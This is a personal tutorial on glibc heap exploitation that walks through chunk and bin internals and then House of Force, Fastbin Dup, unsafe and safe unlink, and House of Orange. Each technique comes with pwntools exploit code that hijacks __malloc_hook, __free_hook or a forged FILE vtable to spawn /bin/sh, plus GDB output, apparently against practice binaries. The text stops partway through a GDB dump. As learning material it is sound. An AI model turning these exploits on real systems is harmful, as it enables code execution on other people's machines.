Fine, I'll Learn Heap Exploitation

2024-12-21

Table of Contents

  1. Malloc
  2. Chunks
  3. House of Force
  4. Fastbin Dup
  5. Unsafe Unlink
  6. Safe Unlink
  7. House of Orange

Basics

Malloc

The malloc function dynamically allocates memory and returns a pointer to the allocated chunk.

//                /-- size of chuck 
void *a = malloc(16);
//    \-- pointer to memory

Key Concepts

  • Minimum Chunk Size: The minimum chunk size typically includes 24 bytes, with 16 bytes allocated for metadata and 8 bytes for user data.
  • In-line Metadata: The chunk contains a size field, which stores the size of the entire chunk, including both metadata and user data.
  • User’s View: The pointer returned by malloc points to the user data section of the chunk, which is where the program interacts with the allocated memory.
  • Malloc Internals: Internally, malloc uses 16 bytes of the chunk for managing the allocation, including the size field and possibly other metadata.
  • Top Chunk: The top chunk represents the remaining free memory. If its size is zero, malloc will attempt to extend the heap by requesting more memory from the system.

GDB

To view the state of the heap after several malloc calls, use the vis command in GDB:

void* a = malloc(9);
malloc(1);
malloc(0);

After running the code, you can use the following GDB commands to inspect the heap:

pwndbg> vis
0x602000        0x0000000000000000    [ 0x0000000000000021      ........!.......
0x602010        0x0000000000000000      0x0000000000000000      ................
0x602020        0x0000000000000000 ]  [ 0x0000000000000021      ........!.......
0x602030        0x0000000000000000      0x0000000000000000      ................
0x602040        0x0000000000000000 ]  [ 0x0000000000000021      ........!.......
0x602050        0x0000000000000000      0x0000000000000000      ................
0x602060        0x0000000000000000 ]    0x0000000000020fa1      ................         <-- Top chunk
  • print <variable>: Prints the value of a specific variable.
  • dq <variable>: Dumps the memory of a variable in double-quad-word format.
  • xinfo <variable>: Provides detailed information about a variable.

Chunks

Heap Chunks Anatomy (Allocated)

                        +-------+
Malloc Ptr.  ==>  ______| size  |
Program Ptr. ==> |  user  data  |
                 |      |
                 +------+  

Size field least significant bit is used for flags, zoomed in we can see the flags.

  1. NON_MAIN_ARENA
  2. IS_MMAPPED
  3. PREV_INUSE

Heap Chunks Anatomy (Free’d) // Fastbins

void* a = malloc(1);
void* b = malloc(1);
void* c = malloc(1);

free (a);
free (b);
free (c);

Freed chunks in fastbins are organized as singly linked, non-circular linked lists in LIFO order. When a chunk is freed, it is added to the start of the corresponding fastbin. The vis and fastbins commands in pwndbg demonstrate this by showing that chunk a is free’d and placed into the fastbin. GDB gathers this data from the arena’s metadata. Overall, freed chunks are prepended to the linked list, and the arena updates the head to reflect the latest addition. Malloc first checks fastbins before taking from the top chunk.

pwndbg> vis

0x602000        0x0000000000000000   A[ 0x0000000000000021      ........!.......         <-- fastbins[0x20][0]
0x602010        0x0000000000000000      0x0000000000000000      ................
0x602020        0x0000000000000000 ] B[ 0x0000000000000021      ........!.......
0x602030        0x0000000000000000      0x0000000000000000      ................
0x602040        0x0000000000000000 ] C[ 0x0000000000000021      ........!.......
0x602050        0x0000000000000000      0x0000000000000000      ................
0x602060        0x0000000000000000 ]    0x0000000000020fa1      ................         <-- Top chunk

pwndbg> fastbins
fastbins
0x20: 0x602000 ◂— 0

When chunk b is freed, it is placed at the beginning of the fastbin list, pushing chunk a down. The “user data” section of chunk b now contains a forward pointer (fd) to chunk a.

0x602000        0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][1]
0x602010        0x0000000000000000      0x0000000000000000      ................
0x602020        0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][0]
0x602030        0x0000000000602000      0x0000000000000000      . `.............
0x602040        0x0000000000000000      0x0000000000000021      ........!.......
0x602050        0x0000000000000000      0x0000000000000000      ................
0x602060        0x0000000000000000      0x0000000000020fa1      ................         <-- Top chunk

// how to see the heap now:
0x602000        0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][1]
0x602010        0x0000000000000000      0x0000000000000000      ................
0x602020        0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][0]
0x602030        = fd* to chunk A =      0x0000000000000000      . `.............
0x602040        0x0000000000000000      0x0000000000000021      ........!.......
0x602050        0x0000000000000000      0x0000000000000000      ................
0x602060        0x0000000000000000      0x0000000000020fa1      ................         <-- Top chunk

When chunk c is freed, it is placed at the top of the fastbin list, becoming the new head. The fastbin now holds chunks in this order: c -> b -> a.

0x602000        0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][2]
0x602010        0x0000000000000000      0x0000000000000000      ................
0x602020        0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][1]
0x602030        0x0000000000602000      0x0000000000000000      . `.............
0x602040        0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][0]
0x602050        0x0000000000602020      0x0000000000000000        `.............
0x602060        0x0000000000000000      0x0000000000020fa1      ................         <-- Top chunk

Arena’s

Arenas are where libc maintains non-inline metadata for memory allocation. A new arena is created each time a new thread calls malloc for the first time. The main thread uses the special main_arena, which resides in the libc data section.

In the main_arena, we can observe the address of the top chunk and the starting address of the fastbin[0x20].

pwndbg> dq &main_arena 20
00007ffff7bb4b60     0000000000000000 0000000000000001
00007ffff7bb4b70    *0000000000602000 0000000000000000
00007ffff7bb4b80     0000000000000000 0000000000000000
00007ffff7bb4b90     0000000000000000 0000000000000000
00007ffff7bb4ba0     0000000000000000 0000000000000000
00007ffff7bb4bb0     0000000000000000 0000000000000000
00007ffff7bb4bc0   **0000000000602060 0000000000000000
00007ffff7bb4bd0     00007ffff7bb4bc0 00007ffff7bb4bc0
00007ffff7bb4be0     00007ffff7bb4bd0 00007ffff7bb4bd0
00007ffff7bb4bf0     00007ffff7bb4be0 00007ffff7bb4be0

House of Force (libc < 2.28)

The House of Force technique exploits heap vulnerabilities to gain arbitrary code execution by manipulating the top chunk and leveraging malloc to overwrite function pointers.

Exploit Primitive

  • User Data Overflow: A user-controlled overflow allows corruption of the top chunk’s size field with a large value.
  • Large Allocation: A large allocation can span across the heap, allowing you to target specific data, such as the top chunk or a desired function.
  • Corrupting the Top Chunk: Once the top chunk’s size field is corrupted, an additional allocation is required to trigger changes.
  • Arbitrary Malloc Requests: You can make arbitrary malloc requests to manipulate the heap.

Example heap state after manipulation:

0x603000        0x0000000000000000      0x0000000000000021      ........!.......
0x603010        0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x603020        0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA         <-- Top chunk

By corrupting the top chunk, it is possible to make it so large that it spans the entire heap, libraries, stack, and even the application’s .data section, allowing arbitrary code execution.

Code Execution

The goal of this exploit is to span the virtual address (VA) to __malloc_hook, overwrite its address with the system() function address, and then use a final malloc request to execute /bin/sh by masquerading the size argument as the address.

Other Techniques:

  • (ASLR Disabled): If ASLR is not enabled, stack-based attacks become less challenging.
    • Stack: Not likely exploitable with ASLR enabled.
  • (RelRO Disabled): With RelRO disabled, we can exploit the PLT (Procedure Linkage Table) and execute libc functions.
    • PLT: Lazy linking of libc functions allows us to exploit function pointers.
    • fini_array: We can also hook function calls before program exit.
  • Targeting Heap: The primary target is __malloc_hook, a function pointer used by malloc.
    • Libc Protections: Functions like __exit_funcs and tks_dtor_list may be protected by pointer guards
# Step 1: Corrupt the top chunk's size field
malloc(24, b"Y" * 24 + p64(0xffffffffffffffff))  # Change the top chunk size field

# Step 2: Calculate the distance to __malloc_hook
distance = (libc.sym.__malloc_hook - 0x20) - (heap + 0x20)  # Adjust distance to account for previous malloc allocation

# Step 3: Overwrite __malloc_hook with the address of system()
malloc(distance, "/bin/sh\0")  # Prepare the next allocation to overwrite __malloc_hook with system()

# Step 4: Overwrite __malloc_hook with system() and execute the shell
malloc(24, p64(libc.sym.system))  # Overwrite __malloc_hook with system address
binsh = heap + 0x30  # Adjust the binsh address for execution
malloc(binsh, "")  # Final allocation to execute /bin/sh

heap just before overwrite, the function pointer is NULL, thus skips

pwndbg> p __malloc_hook
$1 = (void *(* volatile)(size_t, const void *)) 0xdeadbeef

pwndbg> dq &__malloc_hook-2
00007ffff7bafc00     00007ffff7880bd0 ffff800008a53419 
00007ffff7bafc10     00000000deadbeef 0000000000000000

Takeaways

  • Chunk Allocation: Understand how chunks are allocated, and focus on overwriting the correct parts, like the top chunk.
  • Additional Allocation: After corrupting the top chunk, you need an additional allocation that does not directly overlap with the target but is offset by 16 bytes to ensure proper overlap during the next allocation.
  • Address Tracking: Always keep track of allocated memory addresses, as they will change based on previous allocations. This is essential for calculating distances and targeting the correct address.

Fastbin Dup (libc < 2.30)

Fastbin duplication relies on exploiting a double free vulnerability to allocate the same chunk twice for two different purposes. Here’s a summary of the steps involved:

Exploit Primitive

  • Perform a double free, which allows the same memory chunk to be allocated multiple times.
  • Ensure the victim chunk is not at the top of the fastbin when it is freed the second time.
  • Manipulate the size field to prepare for arbitrary writes.

Overview

What does a double free look like in practice? Normally, it triggers an ABORT in the program, as the heap implementation includes a mitigation to prevent double free vulnerabilities. Specifically, this mitigation checks that the main arena’s top of the bin does not match the chunk address being freed:

/* Check that the top of the bin is not the record we are going to
   add (i.e., double free).  */
if (__builtin_expect (old == p, 0))
    malloc_printerr ("double free or corruption (fasttop)");

However, this check does not account for scenarios where an intermediate chunk exists between the two frees, allowing us to bypass this mitigation. Here’s an example of the exploit setup:

chunk_A = malloc(0x28, b"A"*0x28)
chunk_B = malloc(0x28, b"B"*0x28)

free(chunk_A)
free(chunk_B)
free(chunk_A) # Double free

Using GDB, we can inspect the state of the heap. After the double free, the arena points to 0x138c2000, which has a forward pointer (fd) to 0x138c2030. That chunk, in turn, has an fd back to 0x138c2000, forming a circular linked list.

pwndbg> vis
0x138c2000      0x0000000000000000      0x0000000000000031      ........1....... <-- fastbins[0x30][0], fastbins[0x30][0]
0x138c2010      0x00000000138c2030      0x4141414141414141      0 ......AAAAAAAA
0x138c2020      0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x138c2030      0x4141414141414141      0x0000000000000031      AAAAAAAA1....... <-- fastbins[0x30][1] 
0x138c2040      0x00000000138c2000      0x4242424242424242      . ......BBBBBBBB
0x138c2050      0x4242424242424242      0x4242424242424242      BBBBBBBBBBBBBBBB
0x138c2060      0x4242424242424242      0x0000000000020fa1      BBBBBBBB........ <-- Top chunk         

pwndbg> fastbins
fastbins
0x30: 0x138c2000 —▸ 0x138c2030 ◂— 0x138c2000   

Initially, this might seem confusing. Shouldn’t the linked list show fastbins[0x30][0] and then fastbins[0x30][2]? The double free introduces a circular reference: the fd pointer of chunk_B (0x138c2030) points back to chunk_A, rather than extending the linked list. This circularity causes GDB to show fastbins[0x30][0] twice.

the basic setup;

chunk_A = malloc(0x28, b"A"*0x28)
chunk_B = malloc(0x28, b"B"*0x28)

free(chunk_A)
free(chunk_B)
free(chunk_A) # Double free

Now use the allocate, to change the free’d chunk A, to point to whatever we want.

chunk_dup = malloc(0x28,p64(elf.sym.user)) # malicious chunk

At this point, the fastbin linked list looks like this:

pwndbg>  fastbin
fastbins
0x30: 0x7ebf030 —▸ 0x7ebf000 —▸ 0x602010 (user) ◂— 0x58585858585858 /* 'XXXXXXX' */

If the size field of the chunk does not match the size of the fastbin, an error occurs during allocation. To bypass this, you must set up a valid size field for your target. To gain an arbitrary write primitive, set up the username field to control the size field:

# Set the username field.
username = b"A"*8 + p64(0x31) # This is our "size field".
io.sendafter(b"username: ", username)
io.recvuntil(b"> ")

chunk_A = malloc(0x28, b"A"*0x28)
chunk_B = malloc(0x28, b"B"*0x28)

free(chunk_A)
free(chunk_B)
free(chunk_A) # Double free, creating a circular list.

chunk_dup = malloc(0x28,p64(elf.sym.user)) # malicious chunk, overwriting chunk_A to point to target as the "next chunk".

# Get to our chunk_dup 
chunk_C = malloc(0x28, b"A"*0x28)
chunk_D = malloc(0x28, b"A"*0x28) 

# Allocate and overwrite the target.
chunk_user = malloc(0x28, b"pwned!\0") #Write over "target"

Code Execution

To achieve code execution, overwrite __malloc_hook to point to system. When there is no size field to manipulate, use find_fake_fast to identify a fake chunk that matches __malloc_hook:

Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7ffb597b4b2d
prev_size: 0xfb597b0ee0000000
size: 0x78 (with flag bits: 0x7f)
fd: 0xfb59483a10000000
bk: 0xfb59483ed000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00

Adjust the allocation size to match 0x68 size field.

# Set the username field.
username = b"A"*8 + p64(0x31)
io.sendafter(b"username: ", username)
io.recvuntil(b"> ")

chunk_A = malloc(0x68, b"A"*0x28)
chunk_B = malloc(0x68, b"B"*0x28)

free(chunk_A)
free(chunk_B)
free(chunk_A) # Double free

chunk_dup = malloc(0x68,p64(libc.sym.__malloc_hook - 35)) # malicious chunk

chunk_C = malloc(0x68, b"A"*0x28)
chunk_D = malloc(0x68, b"B"*0x28)

chunk_user = malloc(0x68, b"Y"*19 + p64(libc.sym.system))

At this point we have taken over the __malloc_hook execution to point to system. Finally, use a one-gadget to pop a shell.

one_gadget $(ldd fastbin_dup | grep libc.so | cut -d' ' -f3)
0xc4dbf execve("/bin/sh", r13, r12)
constraints:
  [r13] == NULL || r13 == NULL || r13 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xc4ddf execve("/bin/sh", rbp-0x40, r12)
constraints:
  address rbp-0x38 is writable
  rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xc4de6 execve("/bin/sh", rbp-0x40, r12)
constraints:
  address rbp-0x38 is writable
  rax == NULL || {rax, rdi, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe1fa1 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

Now place in the exploit code;

chunk_user = malloc(0x68, b"Y"*19 + p64(libc.address + 0xe1fa1 ))

Takeaways

  • Controlling the size field is critical for exploiting fastbin dup.
  • Fastbins are vulnerable to circular references from double free.
  • malloc does not validate misaligned addresses.
  • Using one_gadget simplifies exploiting the overwritten __malloc_hook to execute code.

Unsafe Unlink (< libc 2.31)

The “Unsafe Unlink” vulnerability arises from improper integrity checks when unlinking chunks from the doubly linked list in memory allocators like malloc. This issue can be exploited to achieve arbitrary writes, leading to code execution.

  • An overflow in the userdata
  • in this case, a backwards consolidation. When a chunk is freed and not adjacent to the top chunk, it is added to the unsorted bin. Unsorted bin allocations are typically larger than 0x80. If two adjacent chunks are freed, they undergo consolidation.
void* a = malloc(0x88);
void* b = malloc(0x88);

free(b);

Upon freeing a chunk not adjacent to the top chunk, note the following:

  1. The PREV_INUSE flag in the chunk is cleared.
  2. The last QWORD in the freed chunk’s userdata is interpreted as prev_size. **
  3. The chunk is linked into the unsorted bin.
0x602000        0x0000000000000000   A[ 0x0000000000000091      ................         <-- unsortedbin[all][0]
0x602010        0x00007ffff7bb4bc0      0x00007ffff7bb4bc0      .K.......K......
0x602020        0x0000000000000000      0x0000000000000000      ................
0x602030        0x0000000000000000      0x0000000000000000      ................
0x602040        0x0000000000000000      0x0000000000000000      ................
0x602050        0x0000000000000000      0x0000000000000000      ................
0x602060        0x0000000000000000      0x0000000000000000      ................
0x602070        0x0000000000000000      0x0000000000000000      ................
0x602080        0x0000000000000000      0x0000000000000000      ................
0x602090      **0x0000000000000090 ] B[ 0x0000000000000090      ................
0x6020a0        0x0000000000000000      0x0000000000000000      ................
0x6020b0        0x0000000000000000      0x0000000000000000      ................
0x6020c0        0x0000000000000000      0x0000000000000000      ................
0x6020d0        0x0000000000000000      0x0000000000000000      ................
0x6020e0        0x0000000000000000      0x0000000000000000      ................
0x6020f0        0x0000000000000000      0x0000000000000000      ................
0x602100        0x0000000000000000      0x0000000000000000      ................
0x602110        0x0000000000000000      0x0000000000000000      ................
0x602120        0x0000000000000000      0x0000000000000021      ........!.......
0x602130        0x0000000000000000      0x0000000000000000      ................
0x602140        0x0000000000000000      0x0000000000020ec1      ................         <-- Top chunk

The unsorted bin is a doubly linked circular list, following a First-In-Last-Out (FILO) strategy:

  • Newly freed chunks are added to the head.
  • Allocated chunks are taken from the tail. When chunk B is freed and adjacent chunks are also free:
  • The prev_size field is updated.
  • The size field becomes 0x121.
  • The PREV_INUSE flag of the smaller allocation is cleared.
0x602000        0x0000000000000000  AB[ 0x0000000000000121      ........!.......         <-- unsortedbin[all][0]
0x602010        0x00007ffff7bb4bc0      0x00007ffff7bb4bc0      .K.......K......
0x602020        0x0000000000000000      0x0000000000000000      ................
0x602030        0x0000000000000000      0x0000000000000000      ................
0x602040        0x0000000000000000      0x0000000000000000      ................
0x602050        0x0000000000000000      0x0000000000000000      ................
0x602060        0x0000000000000000      0x0000000000000000      ................
0x602070        0x0000000000000000      0x0000000000000000      ................
0x602080        0x0000000000000000      0x0000000000000000      ................
0x602090        0x0000000000000090      0x0000000000000090      ................
0x6020a0        0x0000000000000000      0x0000000000000000      ................
0x6020b0        0x0000000000000000      0x0000000000000000      ................
0x6020c0        0x0000000000000000      0x0000000000000000      ................
0x6020d0        0x0000000000000000      0x0000000000000000      ................
0x6020e0        0x0000000000000000      0x0000000000000000      ................
0x6020f0        0x0000000000000000      0x0000000000000000      ................
0x602100        0x0000000000000000      0x0000000000000000      ................
0x602110        0x0000000000000000      0x0000000000000000      ................
0x602120        0x0000000000000120 ]    0x0000000000000020       ....... .......
0x602130        0x0000000000000000      0x0000000000000000      ................
0x602140        0x0000000000000000      0x0000000000020ec1      ................         <-- Top chunk

What makes it “unsafe”? Unlinking a chunk from a doubly linked list involves these steps:

  1. Access the victim chunk.
  2. Follow the victim’s fd pointer and replace its bk pointer with the victim’s bk.
  3. Follow the victim’s bk pointer and replace its fd pointer with the victim’s fd. or in code;
{
  BK = P->bk;
  FD = P->fd;
  FD->bk = BK
  BK->fd = FD;
}

Critical issue: No integrity checks are performed on these operations. If an attacker tampers with the fd or bk values before unlinking, it can lead to arbitrary writes by redirecting pointers to controlled addresses.

Code Execution

With two allocated and freed chunks, we can achieve arbitrary write exploitation by setting up a fake chunk and crafting the metadata to exploit the unlink operation.

Allocate two chunks of the same size and overflow chunk A into chunk B’s metadata:

edit(small_chunk_A, p64(fd) + p64(bk) + p8(0x00) * 0x70 + prev_size + fake_size)

Here, the overflow modifies:

  • fd and bk pointers to controlled addresses.
  • The PREV_INUSE flag.

Since the PREV_INUSE flag is cleared, create a fake free chunk with valid-looking metadata. Overwrite the __free_hook pointer to execute shellcode:

fd = libc.sym.__free_hook - 0x18
bk = heap + 32
prev_size = p64(0x90)
fake_size = p64(0x90)

Full exploit code:

# Prepare execve("/bin/sh") shellcode with a jmp over where the `fd` will be written.
shellcode = asm("jmp shellcode;" + "nop;"*0x16 + "shellcode:" + shellcraft.execve("/bin/sh"))

# Request a small chunk.
small_chunk_A = malloc(0x88)
small_chunk_B = malloc(0x88)

fd = libc.sym.__free_hook - 0x18
bk = heap + 32
prev_size = p64(0x90)
fake_size = p64(0x90)

# Edit the small chunk.
edit(small_chunk_A, p64(fd) + p64(bk) + shellcode + p8(0x00) * (0x70-len(shellcode)) + prev_size + fake_size)

# Free the small chunk.
free(small_chunk_B)
free(small_chunk_A)

Takeaways

  • Heap Leak: Required to bypass ASLR.
  • NX Bypass: Necessary for shellcode execution.
  • Target Binary: Must use vulnerable allocator behavior.

Safe Unlinking

Now to modern times! To make unlinking more safe, integrity checks are now implemented:

abort (); if{
fd->bk != p
bk->fd != p
}

Basically, if the victim chunk fd is followed, and the chunk does not have a bk pointing back than abort. And vice versa, if the victim chunk bk is followed, and the chunk does not have a fd pointing back thank abort.

Something to think about when going after this vulnerabilty. The thread needs to manage it’s pointers, where is the binary storing these pointers, stack? data section? bss section? In this instance, it is stored in the data section in an array called m_array.

pwndbg> p m_array
$1 = {{
    user_data = 0xdeadbeef,
    request_size = 0
  }, {
    user_data = 0x0,
    request_size = 0
  }}

Now, form a fake chunk in the user data to pass the safe unlinking mitigation, the heap should look like; A = the real chunk AF = Fake chunk A

vis
0x3a6ab000    A[0x0000000000000000      0x0000000000000091      ................
0x3a6ab010   AF[0x0000000000000000      0x0000000000000080      ........P.......
0x3a6ab020      0x0000000000602048      0x0000000000602050      H `.....P `.....
0x3a6ab030      0x0000000000000000      0x0000000000000000      ................
0x3a6ab040      0x0000000000000000      0x0000000000000000      ................
0x3a6ab050      0x0000000000000000      0x0000000000000000      ................
0x3a6ab060      0x0000000000000000      0x0000000000000000      ................
0x3a6ab070      0x0000000000000000      0x0000000000000000      ................
0x3a6ab080      0x0000000000000000      0x0000000000000000      ................
0x3a6ab090      0x0000000000000080]AF B[0x0000000000000090      ................
0x3a6ab0a0      0x0000000000000000      0x0000000000000000      ................
0x3a6ab0b0      0x0000000000000000      0x0000000000000000      ................
0x3a6ab0c0      0x0000000000000000      0x0000000000000000      ................
0x3a6ab0d0      0x0000000000000000      0x0000000000000000      ................
0x3a6ab0e0      0x0000000000000000      0x0000000000000000      ................
0x3a6ab0f0      0x0000000000000000      0x0000000000000000      ................
0x3a6ab100      0x0000000000000000      0x0000000000000000      ................
0x3a6ab110      0x0000000000000000      0x0000000000000000      ................
0x3a6ab120      0x0000000000000000      0x0000000000020ee1      ................         <-- Top chunk

pwndbg> dq m_array-2
0000000000602040     0000000000000000 0000000000000000
0000000000602050     0000000000000000 0000000000000000
0000000000602060     000000003a6ab010 0000000000000088
0000000000602070     000000003a6ab0a0 0000000000000088

pwndbg> p *((struct malloc_chunk*)0x3a6ab010).fd
$1 = {
  mchunk_prev_size = 0,
  mchunk_size = 0,
  fd = 0x0,
  bk = 0x3a6ab010,
  fd_nextsize = 0x88,
  bk_nextsize = 0x3a6ab0a0
}

pwndbg> p *((struct malloc_chunk*)0x3a6ab010).bk
$2 = {
  mchunk_prev_size = 0,
  mchunk_size = 0,
  fd = 0x3a6ab010,
  bk = 0x88,
  fd_nextsize = 0x3a6ab0a0,
  bk_nextsize = 0x88
}

Inspecting the heap after free-ing the heap now shows the following;

pwndbg> dq mp_.sbrk_base
0000000033546000     0000000000000000 0000000000000091
0000000033546010     0000000000000000 0000000000020ff1
0000000033546020     0000000000602048 0000000000602050
0000000033546030     0000000000000000 0000000000000000

Code Execution


# Request 2 small chunks.
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)

# Prepare fake chunk metadata.
fd = elf.sym.m_array - 24
bk = elf.sym.m_array - 16

prev_size = 0x80
fake_size = 0x90

edit(chunk_A, p64(0) + p64(0x80) + p64(fd) + p64(bk) + p8(0)*0x60 + p64(prev_size) + p64(fake_size))

free(chunk_B)

edit(0, p64(0x00)*3 + p64(libc.sym.__free_hook-8))
edit(0, b"/bin/sh\0" + p64(libc.sym.system))

free(chunk_A)

io.interactive()

TakeAways

too many tbh.

House of Orange (libc 2.23)

We begin with two differently sized chunks allocated via malloc:

Allocated chunk | PREV_INUSE
Addr: 0x555555603000
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x555555603020
Size: 0xfd0 (with flag bits: 0xfd1)

When freeing a chunk in glibc, one of three things can happen:

  1. The chunk is linked to fast bins.
  2. It is consolidated into the top chunk.
  3. It is linked to the unsorted bin.

If a chunk is added to the unsorted bin, it is sorted during subsequent malloc calls. Unsorted bin chunks are eventually moved to small bins or large bins, both of which are circular doubly linked lists. malloc searches for an exact fit, iterating over these bins back-to-front.

The partial unlinking vulnerability occurs because the fd pointer of the chunk in the unsorted bin is followed, and the victim chunk’s bk pointer is overwritten. This behavior can be exploited to gain control over memory.

chunk_A = malloc(0x88)
chunk_B = malloc(0x18)

free(chunk_A)

After freeing chunk_A, it is placed in the unsorted bin. The exploit leverages this to leak the main_arena address (a libc leak):

pwndbg> vis
0x2fbeb000      0x00007f3d31f99b78      0x0000000000000091      x..1=...........         <-- unsortedbin[all][0]
0x2fbeb010      0x00000000deadbeef      0x000000002fbeaff0      .........../....
0x2fbeb020      0x0000000000000000      0x0000000000000000      ................
0x2fbeb030      0x0000000000000000      0x0000000000000000      ................
0x2fbeb040      0x0000000000000000      0x0000000000000000      ................
0x2fbeb050      0x0000000000000000      0x0000000000000000      ................
0x2fbeb060      0x0000000000000000      0x0000000000000000      ................
0x2fbeb070      0x0000000000000000      0x0000000000000000      ................
0x2fbeb080      0x0000000000000000      0x0000000000000000      ................
0x2fbeb090      0x0000000000000090      0x0000000000000021      ........!.......
0x2fbeb0a0      0x0000000000000000      0x0000000000000000      ................
0x2fbeb0b0      0x0000000000000000      0x0000000000020f51      ........Q.......         <-- Top chunk

When the break system call is used to extend the heap, malloc checks if the new memory is contiguous with the top chunk. If not, it frees the remaining top chunk and updates the main_arena to point to the new top chunk. Overwriting the top chunk size with a small value can trigger this behavior, initiating the chain of exploitation.

File Stream Exploitation

To escalate the attack, the exploit targets libc’s FILE structure, a critical part of libc’s file I/O operations. Here’s the structure of FILE using dt FILE or ptype FILE depending on preference.

FILE
    +0x0000 _flags               : int
    +0x0008 _IO_read_ptr         : char *
    +0x0010 _IO_read_end         : char *
    +0x0018 _IO_read_base        : char *
    +0x0020 _IO_write_base       : char *
    +0x0028 _IO_write_ptr        : char *
    +0x0030 _IO_write_end        : char *
    +0x0038 _IO_buf_base         : char *
    +0x0040 _IO_buf_end          : char *
    +0x0048 _IO_save_base        : char *
    +0x0050 _IO_backup_base      : char *
    +0x0058 _IO_save_end         : char *
    +0x0060 _markers             : struct _IO_marker *
    +0x0068 _chain               : struct _IO_FILE *
    +0x0070 _fileno              : int
    +0x0074 _flags2              : int
    +0x0078 _old_offset          : __off_t
    +0x0080 _cur_column          : unsigned short
    +0x0082 _vtable_offset       : signed char
    +0x0083 _shortbuf            : char [1]
    +0x0088 _lock                : _IO_lock_t *
    +0x0090 _offset              : __off64_t
    +0x0098 _codecvt             : struct _IO_codecvt *
    +0x00a0 _wide_data           : struct _IO_wide_data *
    +0x00a8 _freeres_list        : struct _IO_FILE *
    +0x00b0 _freeres_buf         : void *
    +0x00b8 _prevchain           : struct _IO_FILE **
    +0x00c0 _mode                : int
    +0x00c4 _unused2             : char [20]

This structure is part of a singly linked list managed by _IO_list_all, which points to the head of the list. Exploiting this allows us to hijack function pointers and redirect control flow.

dt "struct _IO_FILE_plus"
struct _IO_FILE_plus
    +0x0000 file                 : FILE
    +0x00d8 vtable               : const struct _IO_jump_t *

struct _IO_jump_t {
    ...
    void (*__overflow)();
};

The entire exploit

A chunk is freed and corrupted using the unsorted bin partial unlink technique:

small_malloc()

# Edit the 1st small chunk.
edit(b"Y" * 24 + p64(0x1000 - 0x20 + 1))

large_malloc()

edit(b"Y" * 24 + p64(0x21) + p64(0) + p64(libc.sym._IO_LIST_ALL-16))
small_malloc()

This will attack the _IO_list_all function that clears out buffer when a program exits. Double checking by viewing the _IO_list_all

pwndbg> p _IO_list_all
$1 = (_IO_FILE_plus *) 0x7fdd19199b78 <main_arena+88>

Now we need to place our “File stream” object

flags = b"/bin/sh\0"
size = 0x61
fd = 0x00
bk = libc.sym._IO_list_all - 16

write_base = 0x1
write_ptr = 0x2
mode = 0x0
vtable_ptr = heap + 0xd8
overflow = libc.sym.system

fake_io_file = flags + p64(size) +\
        p64(fd) + p64(bk) +\
        p64(write_base) + p64(write_ptr) +\
        p64(0)*18 + p32(mode) + p32(0) +\
        p64(0) + p64(overflow) + p64(vtable_ptr)

edit(b"X"*16 + fake_io_file)

small_malloc()

io.interactive()

resulting in the following;

pwndbg> p *_IO_list_all
$1 = {
  file = {
    _flags = 1408446416,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x562d53f11020 "/bin/sh",
    _IO_read_base = 0x7f39a679a510 "",
    _IO_write_base = 0x7f39a6799b88 <main_arena+104> " \020\361S-V",
    _IO_write_ptr = 0x7f39a6799b88 <main_arena+104> " \020\361S-V",
    _IO_write_end = 0x7f39a6799b98 <main_arena+120> "\210\233y\2469\177",
    _IO_buf_base = 0x7f39a6799b98 <main_arena+120> "\210\233y\2469\177",
    _IO_buf_end = 0x7f39a6799ba8 <main_arena+136> "\230\233y\2469\177",
    _IO_save_base = 0x7f39a6799ba8 <main_arena+136> "\230\233y\2469\177",
    _IO_backup_base = 0x7f39a6799bb8 <main_arena+152> "\250\233y\2469\177",
    _IO_save_end = 0x7f39a6799bb8 <main_arena+152> "\250\233y\2469\177",
    _markers = 0x562d53f11020,
    _chain = 0x562d53f11020,
    _fileno = -1501979688,
    _flags2 = 32569,
    _old_offset = 139885582851032,
    _cur_column = 39912,
    _vtable_offset = 121 'y',
    _shortbuf = "\246",
    _lock = 0x7f39a6799be8 <main_arena+200>,
    _offset = 139885582851064,
    _codecvt = 0x7f39a6799bf8 <main_arena+216>,
    _wide_data = 0x7f39a6799c08 <main_arena+232>,
    _freeres_list = 0x7f39a6799c08 <main_arena+232>,
    _freeres_buf = 0x7f39a6799c18 <main_arena+248>,
    __pad5 = 139885582851096,
    _mode = -1501979608,
    _unused2 = "9\177\000\000(\234y\2469\177\000\0008\234y\2469\177\000"
  },
  vtable = 0x7f39a6799c38 <main_arena+280>
}
pwndbg> p *_IO_list_all.file.chain
There is no member named chain.
pwndbg> p *_IO_list_all.file._chain
$2 = {
  _flags = 1852400175,
  _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
  _IO_read_end = 0x7f39a6799bc8 <main_arena+168> "\270\233y\2469\177",
  _IO_read_base = 0x7f39a6799bc8 <main_arena+168> "\270\233y\2469\177",
  _IO_write_base = 0x1 <error: Cannot access memory at address 0x1>,
  _IO_write_ptr = 0x2 <error: Cannot access memory at address 0x2>,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0,
  _flags2 = 0,
  _old_offset = 0,
  _cur_column = 0,
